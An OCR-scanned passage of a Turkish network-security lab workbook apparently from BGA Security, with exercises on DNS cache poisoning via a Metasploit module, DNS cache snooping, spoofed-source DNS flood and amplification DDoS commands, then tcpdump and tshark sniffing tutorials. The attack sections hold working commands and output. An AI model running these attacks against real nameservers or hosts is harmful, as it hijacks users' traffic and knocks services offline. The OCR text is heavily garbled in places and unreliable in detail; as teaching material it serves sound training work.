msf > use auxiliary/spoof/dns/bailiwicked_host
msf auxiliary(bailiwicked_host) > show options

Module options (auxiliary/spoof/dns/bailiwicked_host):

Name  CurrentSetting Required Description

HOSTNAME pwned.example.com yes  Hostname to hijack

INTERFACE no The name of the interface

NEWADDR 1.3.3.7 yes Newaddress for hostname

RECONS 208.67.222.222 yes The nameserver used for reconnaissance
RHOST yes  The targetaddress
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SNAPLEN 65535 yes  The number of bytes to capture

SRCADDR Real yes Thesourceaddressto use for sendingthe queries (accepted:
Real, Random)

SRCPORT yes  The targetserver's source query port (0 for automatic)

TIMEOUT 500 yes  The number of seconds to wait for new data

TTL 32736 yes  The TTL for the malicious host entry

XIDS O yes  The number of XIDs to try for each query (0 for automatic)

msf auxiliary(bailiwicked_host) > set RHOST 6.6.6.2
RHOST => 6.6.6.2

msf auxiliary(bailiwicked_host) > set HOSTNAME www.google.com.tr
HOSTNAME => www.google.com.tr

msf auxiliary(bailiwicked_host) > set NEWADDR 6.6.6.3
NEWADDR => 6.6.6.3

msf auxiliary(bailiwicked_host) > set SRC

set SRCADDR set SRCPORT

msf auxiliary(bailiwicked_host) > set SRCPORT 53
SRCPORT => 53

msf auxiliary(bailiwicked_host) > show options

Module options (auxiliary/spoof/dns/bailiwicked_host):

Name  CurrentSetting Required Description

HOSTNAME www.google.com.tr yes  Hostname to hijack

INTERFACE no The name of the interface

NEWADDR 6.6.6.3 yes  New address for hostname

RECONS 208.67.222.222 yes The nameserver used for reconnaissance
RHOST 6.6.6.2 yes  Thetarget address

SNAPLEN 65535 yes  The number of bytes to capture

SRCADDR Real yes Thesourceaddressto use for sendingthe queries (accepted:
Real, Random)

SRCPORT 53 yes  Thetarget server's source query port (0 for automatic)

TIMEOUT 500 yes  The number of seconds to wait for new data

TTL 32736 yes  The TTL for the malicious host entry

XIDS O yes  The number of XIDs to try for each query (0 for automatic)

msf auxiliary(bailiwicked_host) >

Buradaki se¢enekleri kendi istedigimiz sekilde doldurduktan sonra artik dns sunucu
olarak kendi adresimizi belirlemis olduk ve google.com.tr adresine gelen istekleri
onceden hazirlanmis sahte bir sayfa ile karsilayacagimizi belirtmis olduk. Daha sonra
zehirlenme baslatilir.

msf auxiliary(bailiwicked_host) > run

BGA Bilgi Giivenligi A.S. | www.bgasecurity.com | @BGASecurity



http://www.bgasecurity.com/
https://twitter.com/bgasecurity

[UYGULAMALI AG GUVENLIGI EGiTiMi LAB CALISMALARI]

[*] Targeting nameserver 6.6.6.2 for injection of www.google.com.tr. as 6.6.6.3
[*] Querying recon nameserver for google.com.tr.'s nameservers...

[*] Gotan NSrecord: google.com.tr. 41308 IN NS nsl.google.com.
[*] Querying recon nameserver for address of ns1.google.com....

[*] Gotan Arecord:nsl.google.com. 172795 IN A  216.239.32.10

[*] Checking Authoritativeness: Querying 216.239.32.10 for google.com.tr....

Sunucu zehirlendikten sonra artik istemcinin istedigi sayfaya saldirgan tarafindan bir
sayfa donecektir.Asagidaki 6rnekte de google.com.tr adresinin ip adresi 6.6.6.3 yani
saldirganin ip adresi oldugu goriilmektedir.

root@kali:~# nslookup google.com.tr
Server: 6.6.6.2
Address: 6.6.6.2#53

Non-authoritative answer:
Name:google.com.tr
Address: 6.6.6.3
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Uygulama No: BGA-UAG-42

DNS Cache Snooping

Amag: 'DNS Cache Snooping' bir DNS Onbelleginin(Cache) 6énceden bir 'domain'i
sorgulayip sorgulamadigini gésteren metoda verilen isimdir. Yapilacak dns sorgusunun
sadece cache bellekte varsa getirilmesini saglayacak bir yontem hedeflenir.

Adim 1: www.bga.com.tr domain adresisorgusu sonucu bize herhangi bir cevap donmedi
ciinkli 6nceden boyle bir sorgu gonderilmemisti. Mesela simdi web tarayicim ile bu
http://www.bga.com.tr girip ¢ikayim (tabi ki web tarayicim da dns sunucu olarak
192.168.2.1 kullaniyor olmali). Tekrar ayni1 sorguyu yapalim. Sonuclar asagidaki gibi
olacaktir.

root@bt:~# dig @192.168.2.1 www.bga.com.tr +norecurse

; <<>>DiG 9.7.0-P1 <<>> @192.168.2.1 www.bga.com.tr +norecurse
; (1 server found)

;; global options: +cmd

:» connection timed out; no servers could be reached

root@bt:~# dig @8.8.8.8 www.bga.com.tr +norecurse

; <<>>DiG 9.7.0-P1 <<>> @8.8.8.8 www.bga.com.tr +norecurse

; (1 server found)

;; global options: +cmd

;; Gotanswer:

;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 37906

;; flags: qr ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;www.bga.com.tr. IN A

;; Query time: 76 msec

;; SERVER: 8.8.8.8#53(8.8.8.8)

;; WHEN: FriAug 9 09:52:38 2013
;3 MSG SIZE rcvd: 32

Uygulama No: BGA-UAG-43
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Sahte Alan Adlari Kullanarak DNS Flood DDoS Saldirisi

Amag: Mz araci kullanilarak sahte alan adlari ile DNS sunucunun yorulmasi ve servisin
hizmet dis1 kalmasi

Adim 1: Mz araci kullanilarak hedef DNS servisine sahte ip adreslerinden gelecek sekilde
dns istekleri gondererek DNS servisinin yorulmasi ve hizmet dis1 birakilmasi

root@bt:~# mz -A 5.5.5.5 -B 1.2.39.40 -t dns "g=www.bga.com.tr" -c 1000
Mausezahn will send 1000 frames... 0.05 seconds (20000 packets per second)

Mz kullanilarak iiretilecek detayli DNS paketlerinin parametreleriyle ilgili bilgiye
asagidaki gibi ulasilabilir.

root@bt:~# mz -t dns help

Mausezahn 0.34.9 - (C) 2007-2009 by Herbert Haas - http://www.perihel.at/sec/mz/
| DNS type: Send Domain Name System Messages.

I
| Generally there are two interesting general DNS messages: queries and answers. The
easiest

| way is to use the following syntax:

I
| query|q =<name>[:<type>] ..o where type is per default "A"
| (and class is always "IN")

answer|a = [<type>:<ttl>:]<rdata> ..... ttl is per default 0.
= [<type>:<ttl>:]<rdata>/[<type>:<ttl>:]<rdata>/..

Note: If you only use the 'query’ option then a query is sent. If you additonally add
an 'answer' then an answer is sent.

Examples:

= WWW.XyZ.com

www.xyz.com, a=192.168.1.10

www.xyz.com, a=A:3600:192.168.1.10

www.xyz.com, a=CNAME:3600:abc.com/A:3600:192.168.1.10

q
q
q
q

I
I
I
I
|
I
|
I
I
|
I
I
|
I
| Note: <type> can be: A, CNAME, or any integer
I

I

| OPTIONAL parameter hacks: (if you don't know what you do this might cause invalid
packets)

| Parameter Description query / reply)
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request/response|reply .... flag only request / n.a.
1 (o [N packetid (0-65535) random /random
opcode (01 0P) weeereurnnne accepts values 0..15 or one of std /0
these keywords:
= std e Standard Query
=NV weeeereennne Inverse Query
= SES crreerneens Server Status Request
o) g F-T: W Authoritative Answer UNSET /SET
LG} g L o Truncation UNSET / UNSET
rd or Ird .ceeeeeneen. Recursion Desired SET /SET
raor!ra .. Recursion Available UNSET /SET
y A Reserved (takes values 0..7) 0/0
(z=2..authenticated)
rcode .eerrrnnens Response Code (0..15); interesting 0/0
values are:
= | — No Error Condition
I Unable to interprete query due to formaterror
= 2 e Unable to process due to server failure
S TN Name in query does not exist
S R Type of query not supported
=5 e Query refused

Countvalues (values 0..65535) will be set automatically! You should not set these
values manually exceptyou are interested in invalid packets.

gdcount (or qdc) .......... Number of entries in question section 1/1

ancount (Or anc) ... Number of RRs in answer records section 0 /1

nscount (Or NSc) ... Number of name server RRs in authority 0 /0
records section

arcount (Or arc) ... Number of RRs in additional records section 0 /0
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Uygulama No: BGA-UAG-44

Arttiriml - Amplified DNS DDoS Saldirisi

Amag: DNS isteklerine donecek cevap boyutunun fazla olmasi, bant genisliginin hakkiyla
kullanilmasi

Adim1: Bu saldir1 tipinde gonderilen DNS istegine donecek cevabin kat kat fazla olmasi
ozelligini kullanir. Sisteme gonderilecek 50 byte’lik bir DNS istegine 500 Byte~cevap
dondiigu dustniilirse saldirgan elindeki bant genisliginin 10 kat1 kadar saldir1 trafigi
olusturabilir.

- Saldirgan oncelikle rekursif sorgulara ac¢ik bir DNS sunucu bulur. Sonrasinda 6nceden
hazirladigr 6zel alan adini sorgulatir 50 byte. Ara dns sunucu kendi dnbbelleginde
olmayan bu adres icin ana dns sunucuya gider sorar 50 byte. Ana dns sunucu 6zel alan ad1
icin cevap doner 500 byte.

- Ara dns sunucu cevabi alir ve saldirgana doner fakat burada amag ara dns sunucunun
onbellegine aldig1 500 byte lik yer olmaktadir.

- Saldirgan Kurban’in IP adresinden geliyormus gibi sahte DNS paketleri gonderir. DNS
paketleri 6zel alan adim sorgulamaktadir (ortalama 100.000 dns q/s). Bu tretilen
paketlerin Saldirgana maliyeti 100.000 X53 Byte

DoS yapilacak Hedef Sistem: kurban.example.com (V)

Araciolarak kullanilacak DNS sunucu dns-sunucu.example.com (A) Saldirgan ( C)
./amfdns -a dns-sunucu.example.com -t A -q . -target kurban.example.com

TCP/IP Aglarda Paket Analizi ve Sniffer Kullanimi

Uygulama No: BGA-UAG-45

Pratik Tcpdump Sniffer Kullanimi

Amag: Tcpdump aracinin network tizerinde paket analizi ve sniffer modundaki
kullanimlariyla ilgili uygulama yapma

Tcpdump klasik Linux/UNIX araclar1 gibi komut satir indan ¢alur ve tiim 6zelliklerini
parametre olarak alir. Parametresiz calitirildigin da sistemde buldugu ilk aktif ag
arabirimini dinlemeye alir(root izni varsa*). Tcpdu mp’in ceitli amaclarla kullanilacak
onlarca parametresi vardir ve siradan bir ag yoneti cisinin bu parametreleri ezberlemesi
gereksizdir. Bu yaz1 tcpdump’a ait sik kullanilan parametreleri 6rnekleriyle birlikte
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aciklayip konuya yabanci olanlara tcpdump’a giri niteliinde bir b elge sunmayi
amacglamaktadir. Tcpdump kullanmaya bailamadan sistem hakkinda bili nmesi gereken
bir iki husus vardir. Bunlar;

Promiscues Mode (Bir makinenin hedefi kendisi olmayan paketleri alab ilmesi i¢in ag
arabiriminin promiscious modda olmasi gerekir. Tiim snifferlar otomatik olar ak ag
arabirimini promiscious moda gecirir ve sniffer durduruldugunda tekrar arabirimi
normal moda dondirtr.

Yetki (tcpdump aracinin c¢ahstirilmasi icin root/admin haklarina sahip olunmasi
gerekmektedir.)

Adim 1: Tcpdump TCP paket formati

root@bt:~# tcpdump -i ethO tcp

11:02:02.766864 1P 192.168.1.31.58493 > 192.168.1.28.ssh: Flags [P.],seq 2545:2593, ack
3036048, win 8192, options [nop,nop,TS val 806849377 ecr 17681535], length 48

11:02:02.766864  : Zaman damgasi

192.168.1.31 : Kaynak ip adresi

58493 : Kaynak port numarasi

> : YOn belirteci

192.168.1.28 : Hedef ip adresi

ssh : Kullanilan baglantinin protokol bilgisi

Flags [P.] : TCP (Push) bayragi set edilmis bir bayrak bilgisi

Adim 2: [stenilen bir ag arabiriminin trafiginin dinlenmesi

root@bt:~# tcpdump -i eth0

11:15:04.711804 IP 192.168.1.28.ssh > 192.168.1.31.58493: Flags [P.], seq
2656848:2657056, ack 2257, win 1550, options [nop,nop,TS val 17877021 ecr
807625764],length 208

11:15:04.711870 IP 192.168.1.28.ssh > 192.168.1.31.58493: Flags [P.], seq
2657056:2657264, ack 2257, win 1550, options [nop,nop, TS val 17877021 ecr
807625764],length 208

11:15:04.711935 P 192.168.1.28.ssh > 192.168.1.31.58493: Flags [P.], seq
2657264:2657472, ack 2257, win 1550, options [nop,nop, TS val 17877021 ecr
807625764],length 208

11:15:04.7121571P 192.168.1.31.58493 > 192.168.1.28.ssh: Flags [P.], seq 2257:2305, ack
2652544, win 8192, options [nop,nop,TSval 807625764 ecr 17877021], length 48
11:15:04.712162 IP 192.168.1.31.58493 > 192.168.1.28.ssh: Flags [.], ack 2656080, win
7971, options [nop,nop,TS val 807625765 ecr 17877021],length 0

11:15:04.712164 IP 192.168.1.31.58493 > 192.168.1.28.ssh: Flags [.], ack 2656640, win
8157, options [nop,nop, TS val 807625765 ecr 17877021],length 0
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11:15:04.712166 IP 192.168.1.31.58493 > 192.168.1.28.ssh: Flags [.], ack 2656848, win

8144, options [nop,nop, TS val 807625765 ecr 17877021], length 0

11:15:04.712167 IP 192.168.1.31.58493 > 192.168.1.28.ssh: Flags [.], ack 2657056, win

8131, options [nop,nop,TS val 807625765 ecr 17877021],length 0

Adim 3: -n parametresiyle isim ¢dziimle hakkinda

tcpdump uygulamasinin asil giliclinii parametrelerinden aldigim1 tiim gilivenlikgiler
bilmektedir. -n parametresi ise isim ¢ézlimlenmesi kisminda isim ¢éziimlenmemesi i¢in
kullanilmaktadir. tcpdump ¢iktisinda ip adreslerinin isim ¢éziimlemesine ¢alistig1 icin
baz1 aglarda ¢ok yavas sonuglar tliretecektir. Bu durumda -n parametresi kullanimi hiz

saglayacaktr.

-n parametresiyle protokol detay1 bile gosterilmeyecektir(ssh).

root@bt:~# tcpdump -i eth0

11:21:02.749720 1P 192.168.1.28.ssh > 192.168.1.31.58493: Flags [.],
5836768:5838216, ack 4993, win 1550, options [nop,nop,TS val 17966531
807978971], length 1448
11:21:02.749802 [P 192.168.1.28ssh > 192.168.1.31.58493: Flags [P.],
5838216:5838944, ack 4993, win 1550, options [nop,nop,TS val 17966531
807978971], length 728
11:21:02.749882 [P 192.168.1.28.ssh > 192.168.1.31.58493: Flags [P.],
5838944:5839328, ack 4993, win 1550, options [nop,nop,TS val 17966531
807978971], length 384
11:21:02.749959 [P 192.168.1.28.ssh > 192.168.1.31.58493: Flags [P.],
5839328:5839536, ack 4993, win 1550, options [nop,nop,TS val 17966531
807978971],length 208

seq
ecr

seq
ecr

seq
ecr

seq
ecr

root@bt:~# tcpdump -i eth0Q -n

11:22:23.857783 1P 192.168.1.28.22 > 192.168.1.31.58493: Flags [P.],
1269488:1269696, ack 1057, win 1550, options [nop,nop,TS val 17986808
808059414],length 208
11:22:23.857872 IP 192.168.1.28.22 > 192.168.1.31.58493: Flags [P],
1269696:1269904, ack 1057, win 1550, options [nop,nop, TS val 17986808
808059414],length 208
11:22:23.857959 IP 192.168.1.28.22 > 192.168.1.31.58493: Flags [P],
1269904:1270112, ack 1057, win 1550, options [nop,nop, TS val 17986808
808059414],length 208

seq
ecr

seq
ecr

seq
ecr
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11:22:23.858042 [P 192.168.1.28.22 > 192.168.1.31.58493: Flags [P.], seq
1270112:1270320, ack 1057, win 1550, options [nop,nop,TS val 17986808 ecr
808059414],length 208

Adim 4: Zaman damgasiz ¢ikti -t parametresinin kullanimi

root@bt:~# tcpdump -i eth0

11:27:20.789330 IP 192.168.1.31.58493 > 192.168.1.28.ssh: Flags [.], ack 2187312, win
8053, options [nop,nop,TS val 808354782 ecr 18061040], length 0
11:27:20.789332 IP 192.168.1.31.58493 > 192.168.1.28.ssh: Flags [.], ack 2187520, win
8040, options [nop,nop,TS val 808354782 ecr 18061040],length 0
11:27:20.789333 IP 192.168.1.31.58493 > 192.168.1.28.ssh: Flags [.], ack 2187728, win
8027, options [nop,nop,TS val 808354782 ecr 18061040],length 0
11:27:20.789335 IP 192.168.1.31.58493 > 192.168.1.28.ssh: Flags [.], ack 2187936, win
8064, options [nop,nop,TS val 808354782 ecr 18061040],length 0

root@bt:~# tcpdump -i ethO -t

IP 192.168.1.28.ssh > 192.168.1.31.58493: Flags [P.], seq 795808:796000, ack 625, win
1550, options [nop,nop,TS val 18074525 ecr 808408288], length 192
IP 192.168.1.28.ssh > 192.168.1.31.58493: Flags [P.], seq 796000:796192, ack 625, win
1550, options [nop,nop,TS val 18074525 ecr 808408288], length 192
IP 192.168.1.28.ssh > 192.168.1.31.58493: Flags [P.], seq 796192:796384, ack 625, win
1550, options [nop,nop,TS val 18074525 ecr 808408288], length 192
IP 192.168.1.28.ssh > 192.168.1.31.58493: Flags [P.], seq 796384:796576, ack 625, win
1550, options [nop,nop,TS val 18074525 ecr 808408288], length 192
IP 192.168.1.28.ssh > 192.168.1.31.58493: Flags [P.], seq 796576:796768, ack 625, win
1550, options [nop,nop,TS val 18074525 ecr 808408288], length 192

Adim 5: Yakalanan paketleri kaydetme

-w parametresi kullanimiyla yakalanan paketlerin “kayitpcap” isimli dosyaya
kaydedilmesi.

root@bt:~# tcpdump -i eth0 -w kayit.pcap

11:38:20.506098 IP 192.168.1.28.ssh > 192.168.1.31.58493: Flags [P.], seq
608400:608608,ack 529, win 1550, options [nop,nop,TS val 18225970 ecr 809011141],
length 208
11:38:20.506163 [P 192.168.1.28.ssh > 192.168.1.31.58493: Flags |[P.], seq
608608:608816, ack 529, win 1550, options [nop,nop,TS val 18225970 ecr 809011141],
length 208
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11:38:20.506469 IP 192.168.1.31.58493 > 192.168.1.28.ssh: Flags [.], ack 604800, win
7845, options [nop,nop,TS val 809011141 ecr 18225969], length 0

11:38:20.506475 IP 192.168.1.31.58493 > 192.168.1.28.ssh: Flags [.], ack 605008, win
7832, options [nop,nop,TS val 809011141 ecr 18225969],length 0

11:38:20.506477 IP 192.168.1.31.58493 > 192.168.1.28.ssh: Flags [.], ack 605216, win
7819, options [nop,nop, TS val 809011141 ecr 18225969], length 0

11:38:20.506479 IP 192.168.1.31.58493 > 192.168.1.28.ssh: Flags [.], ack 605424, win
7806, options [nop,nop,TS val 809011141 ecr 18225969], length 0

11:38:20.506481 IP 192.168.1.31.58493 > 192.168.1.28.ssh: Flags [P.], seq 529:577, ack
605424, win 8192, options [nop,nop,TS val 809011141 ecr 18225969], length 48
11:38:20.506482 IP 192.168.1.31.58493 > 192.168.1.28.ssh: Flags [.], ack 606528, win
8123, options [nop,nop,TS val 809011142 ecr 18225970], length 0

11:38:20.506484 IP 192.168.1.31.58493 > 192.168.1.28.ssh: Flags [.], ack 606736, win
8179, options [nop,nop, TS val 809011142 ecr 18225970], length 0

11:38:20.506486 IP 192.168.1.31.58493 > 192.168.1.28.ssh: Flags [.], ack 606944, win
8166, options [nop,nop,TS val 809011142 ecr 18225970],length 0

11:38:20.506488 1P 192.168.1.31.58493 > 192.168.1.28.ssh: Flags [.], ack 607152, win
8153, options [nop,nop, TS val 809011142 ecr 18225970],length 0

-r parametresiyle kayit edilen “kayit.pcap” dosyasi okunabilir halde acilabilir.

root@bt:~# tcpdump -r kayit.pcap

reading from file kayit.pcap, link-type EN10MB (Ethernet)

11:29:56.660179 1P 192.168.1.28.ssh > 192.168.1.31.58493: Flags [P.], seq
1715271240:1715271288,ack1774575016,win 1550, options [nop,nop,TSval 18100008
ecr 808509451],length 48

11:29:56.660373 1P 192.168.1.31.58493 > 192.168.1.28.ssh: Flags [.], ack 48, win 8189,
options [nop,nop,TS val 808509454 ecr 18100008], length 0

11:29:56.660654 IP 192.168.1.28.ssh > 192.168.1.31.58493: Flags [P.], seq 48:160, ack 1,
win 1550, options [nop,nop,TS val 18100008 ecr 808509454], length 112
11:29:56.660821 1P 192.168.1.31.58493 > 192.168.1.28.ssh: Flags [.], ack 160, win 8185,
options [nop,nop,TS val 808509454 ecr 18100008], length 0

11:29:56.661152 1P 192.168.1.28.ssh > 192.168.1.31.58493: Flags [P.], seq 160:208, ack 1,
win 1550, options [nop,nop,TS val 18100009 ecr 808509454 ], length 48
11:29:56.661321 1P 192.168.1.31.58493 > 192.168.1.28.ssh: Flags [.], ack 208, win 8189,
options [nop,nop,TS val 808509454 ecr 18100009], length 0

11:29:56.668120 IP 192.168.1.31.58473 > fa-in-f125.1e100.netxmpp-client: Flags [P.],
seq 3661326050:3661326051, ack 106643969, win 8192, options [nop,nop,TS val
808509461 ecr 1479640382]

11:29:56.732007 IP 192.168.1.31.58473 > fa-in-f125.1e100.netxmpp-client: Flags [P.],
seq 1:2,ack 1, win 8192, options [nop,nop,TS val 808509524 ecr 14796 40447],length 1
11:29:56.795640 1P 192.168.1.31.58473 > fa-in-f125.1e100.netxmpp-client: Flags [P.],
seq 2:3,ack 1, win 8192, options [nop,nop,TS val 808509586 ecr 1479640510], length 1
11:29:56.862389 1P 192.168.1.31.58473 > fa-in-f125.1e100.netxmpp-client: Flags [P.],
seq 3:4, ack 1, win 8192, options [nop,nop,TS val 808509652 ecr 1479640573], length 1

Adim 6: Istenildigi kadar trafigin kayit edilmesi
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-c parametresinin kullanilmasiyla istenildigi kadar paket kayit edilmesi sonrasi ¢alismay1
durduracaktir.

root@bt:~# tcpdump -i eth0-c 5

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode

listening on ethO, link-type EN10MB (Ethernet), capture size 65535 bytes
11:40:42.356144 IP 192.168.1.28ssh > 192.168.1.31.58493: Flags [P.], seq
1715896968:1715897080,ack1774579000,win 1550, options [nop,nop,TSval 18261432
ecr 809151988],length 112

11:40:42.356339 1P 192.168.1.31.58493 > 192.168.1.28.ssh: Flags [.], ack 112, win 8185,
options [nop,nop,TS val 809151992 ecr 18261432],length 0

11:40:42.356621 1P 192.168.1.28.ssh > 192.168.1.31.58493: Flags [P.], seq 112:160, ack 1,
win 1550, options [nop,nop,TS val 18261432 ecr 809151992], length 48
11:40:42.356768 1P 192.168.1.31.58493 > 192.168.1.28.ssh: Flags [.], ack 160, win 8189,
options [nop,nop,TS val 809151992 ecr 18261432],length 0

11:40:42.3570251P 192.168.1.28.ssh > 192.168.1.31.58493: Flags [P.], seq 160:272, ack 1,
win 1550, options [nop,nop,TS val 18261433 ecr 809151992], length 112

5 packets captured

15 packets received by filter

Adim 7: -v parametresi ile tcpump'dan biraz daha detayh loglama yapmas istenebilir.
Mesela bu parametre ile tcpdump ciktilarin1 TTL ve ID degerle riile birlikte edinebilir.

root@bt:~# tcpdump -iethO-c 5 -v
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes
12:11:59.276952 1P (tos 0x10, ttl 64,id 57972, offset 0, flags [DF], proto TCP (6), length
100)

192.168.1.28.ssh > 192.168.1.31.58493: Flags [P.], cksum 0x0a6a (correct), seq
1715900600:1715900648,ack1774579528,win 1550, options [nop,nop,TSval 18730662
ecr 811001302],length 48
12:11:59.277176 1P (tos 0x0, ttl 64, id 47562, offset 0, flags [none], proto TCP (6), length
52)

192.168.1.31.58493 > 192.168.1.28.ssh: Flags [.], cksum 0xb870 (correct), ack 48,
win 8189, options [nop,nop,TS val 811001304 ecr 18730662], length 0
12:11:59.277427 1P (tos 0x10, ttl 64,id 57973, offset 0, flags [DF], proto TCP (6), length
164)

192.168.1.28.ssh > 192.168.1.31.58493: Flags [P.], cksum 0x9339 (correct), seq
48:160, ack 1, win 1550, options [nop,nop,TS val 18730663 ecr 811001304], length 112
12:11:59.277571 1P (tos 0x0, ttl 64, id 16518, offset 0, flags [none], proto TCP (6), length
52)

192.168.1.31.58493 > 192.168.1.28.ssh: Flags [.], cksum 0xb803 (correct), ack 160,
win 8185, options [nop,nop,TS val 811001304 ecr 18730663], length 0
12:11:59.277777 1P (tos 0x10, ttl 64,id 57974, offset 0, flags [DF], proto TCP (6), length
100)

192.168.1.28.ssh > 192.168.1.31.58493: Flags [P.], cksum 0x2112 (correct), seq
160:208,ack 1, win 1550, options [nop,nop,TS val 18730663 ecr 811001304], length 48
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5 packets captured
17 packets received by filter
0 packets dropped by kernel

Uygulama No: BGA-UAG-46

Tshark Kullanarak ileri Seviye Paket Analizi

Amag: Tshark aracinin kullanimi ve tcpdump aracindan farkinin gésterilmesi
Tshark, acik kaynak kodlu giticlii bir ag protokolleri analiz programidir. Tshark komut
satirindan calisir ve yine bir ag trafik analiz programi olan Wireshark’da bulunan ¢ogu

ozelligi destekler.

Ornek bir tshark kullanimi asagidaki gibidir.

root@bt:~# tshark

Running as user "root" and group "root". This could be dangerous.
Capturing on ethO

Win=8190 Len=0 TSval=825679956 TSecr=1217998210
Win=8155 Len=0 TSval=825679956 TSecr=1217998210

[ACK] Seq=1 Ack=589 Win=8192 Len=0 TSval=825679957 TSecr=1217998210
0.302205 6.6.6.113 ->6.6.6.151 SSH 242 Encrypted response packetlen=176

Win=8181 Len=0 TSval=825680257 TSecr=22432007
0.302668 6.6.6.113 ->6.6.6.151 SSH 114 Encrypted response packetlen=48

Win=8189 Len=0 TSval=825680257 TSecr=22432007
0.303137 6.6.6.113 ->6.6.6.151 SSH 242 Encrypted response packetlen=176

Win=8181 Len=0 TSval=825680257 TSecr=22432007
0.303504 6.6.6.113 ->6.6.6.151 SSH 114 Encrypted response packetlen=48

Win=8189 Len=0 TSval=825680258 TSecr=22432007
0.303911 6.6.6.113 ->6.6.6.151 SSH 258 Encrypted response packetlen=192

Win=8180 Len=0 TSval=825680258 TSecr=22432007
0.304273 6.6.6.113 ->6.6.6.151 SSH 114 Encrypted response packetlen=48

0.000000 6.6.6.151 -> 173.194.39.246 TCP 66 63643 > https [ACK] Seq=1 Ack=1
0.000271 6.6.6.151 -> 173.194.39.246 TCP 66 63643 > https [ACK] Seq=1 Ack=589

0.001043  6.6.6.151 -> 173.194.39.246 TCP 66 [TCP Window Update] 63643 > https

0.302386 6.6.6.151 ->6.6.6.113 TCP 66 63789 > ssh [ACK] Seq=1 Ack=177

0.302819 6.6.6.151 ->6.6.6.113 TCP 66 63789 > ssh [ACK] Seq=1 Ack=225

0.303287 6.6.6.151 ->6.6.6.113 TCP 66 63789 > ssh [ACK] Seq=1 Ack=401

0.303649 6.6.6.151 ->6.6.6.113 TCP 66 63789 > ssh [ACK] Seq=1 Ack=449

0.304059 6.6.6.151 ->6.6.6.113 TCP 66 63789 > ssh [ACK] Seq=1 Ack=641
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0.304416 6.6.6.151 ->6.6.6.113 TCP 66 63789 > ssh [ACK] Seq=1 Ack=689
Win=8189 Len=0 TSval=825680258 TSecr=22432007
~AC 0.8072106.6.6.113 ->6.6.6.151 SSH 194 Encrypted response packetlen=128

-D : Dinleme yapilacak arabirimlerin listelenmesi
-w : Ciktinin istenilen isimde bir dosyaya yazilmasi (ekrana basilmadan)
-i : Ag arabirimi belirleme

Adim 1: BPF kullanimi

Tshark’da tcpdump benzeri bpf filtreleri - f “ “ parametresiyle ya da dogrudan parametre
olar ak yazilarak kullanilabilir .

root@bt:~# tshark -i ethO -f "tcp port 22"

Running as user "root" and group "root". This could be dangerous.

Capturing on ethO

~AC 0.000000 6.6.6.151 ->6.6.6.113 SSH 114 Encrypted request packet len=48
1 packet captured

Adim 2: Tcpdump ve tshark farki. tcpdump ile HTTP trafigi analizi

root@bt:~# tcpdump -i ethO -ttttnn tcp port 80 -vv

tcpdump: listening on ethO0, link-type EN10MB (Ethernet), capture size 65535 bytes
2013-08-12 10:53:30.915367 IP (tos 0x0, ttl 64, id 53812, offset 0, flags [DF], proto TCP
(6), length 52)

6.6.6.151.63815 > 173.194.39.245.80: Flags [F.], cksum 0x29f0 (correct), seq
2205674292, ack 3823427669, win 8192, options [nop,nop,TS val 826213673 ecr
1218420465],length 0
2013-08-12 10:53:30.960154 IP (tos 0xO0, ttl 64, id 64342, offset 0, flags [DF], proto TCP
(6), length 52)

6.6.6.151.63815 > 173.194.39.245.80: Flags [.], cksum 0x661b (correct), seq 1, ack
2, win 8192, options [nop,nop,TS val 826213717 ecr 1218536087], length 0
2013-08-12 10:53:45.328859 IP (tos 0x10, ttl 64, id 24339, offset 0, flags [DF], proto TCP
(6), length 60)

6.6.6.113.49826 > 173.194.39.197.80: Flags [S], cksum Oxe22c (incorrect ->
0x679e), seq 1625832334, win 14600, options [mss 1460,sackOK,TS val 22570141 ecr
0,nop,wscale 4], length 0
2013-08-12 10:53:45.383345 IP (tos 0xO0, ttl 55, id 48242, offset 0, flags [none], proto TCP
(6), length 60)

173.194.39.197.80 > 6.6.6.113.49826: Flags [S.], cksum 0x1le21 (correct), seq
2871169164,ack 1625832335, win 62392, options [mss 1430,sackOK, TS val1318651023
ecr 22570141,nop,wscale 6],length 0
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2013-08-1210:53:45.383378 IP (tos 0x10, ttl 64, id 24340, offset 0, flags [DF], proto TCP
(6), length 52)

6.6.6.113.49826 > 173.194.39.197.80: Flags [.], cksum O0xe224 (incorrect ->
0x3ce8),seq1,ack 1, win 913, options [nop,nop,TSval 22570155 ecr 1318651023],length

0

~C

5 packets captured

6 packets received by filter

Yukardaki ¢iktiya bakilacak olursa her bir satir bir paketi isaret eder. Satirlar incelenirse
HTTP protokoliine ait bilgi edinilemez, sadece TCP protokoliine ait baz bilgiler elde
edilebilir. Bunun sebebi analiz i¢in kullandigimiz yazilimi(tcpdump) kis 1th protokol
analizine sahip olmasidir(tcpdump tcp, ip, udp vs gibi alt seviye protokollere ait analiz
imkan1 sunar). Bizim goérmek istedigimiz HTTP’e ait baglik bilgileri ise tcpdump ile
gorlntiilenemez. Bunun icin Wireshark/Tshark kullanilabilir.

root@bt:~# tshark -i ethO -f "tcp port 80"

Running as user "root" and group "root". This could be dangerous.

Capturing on ethO

0.000000 6.6.6.113->173.194.39.197 HTTP 71 Continuation or non-HTTP traffic
0.044371173.194.39.197 -> 6.6.6.113 TCP 66 http > 49826 [ACK] Seq=1 Ack=6
Win=975 Len=0 TSval=1318785729 TSecr=22603821

12.756043 6.6.6.113 -> 188.121.36.239 TCP 74 39199 > http [SYN] Seq=0 Win=14600
Len=0 MSS=1460 SACK_PERM=1 TSval=22607010 TSecr=0 WS=16
12.872751188.121.36.239 -> 6.6.6.113 TCP 74 http > 39199 [SYN, ACK] Seq=0 Ack=1
Win=5792 Len=0 MSS=1460 SACK PERM=1 TSval=3517890343 TSecr=22607010
WS=128

12.872774 6.6.6.113 -> 188.121.36.239 TCP 66 39199 > http [ACK] Seq=1 Ack=1
Win=14608 Len=0 TSval=22607039 TSecr=3517890343

12.887224 6.6.6.113 ->188.121.36.239 OCSP 520 Request

12971863 188.121.36.239 -> 6.6.6.113 TCP 66 http > 39199 [ACK] Seq=1 Ack=455
Win=6912 Len=0 TSval=3517890465 TSecr=22607043

12.976840 188.121.36.239 -> 6.6.6.113 TCP 1506 [TCP segment of a reassembled PDU]
12976863 6.6.6.113 ->188.121.36.239 TCP 66 39199 > http [ACK] Seq=455 Ack=1441
Win=17488 Len=0 TSval=22607065 TSecr=3517890465

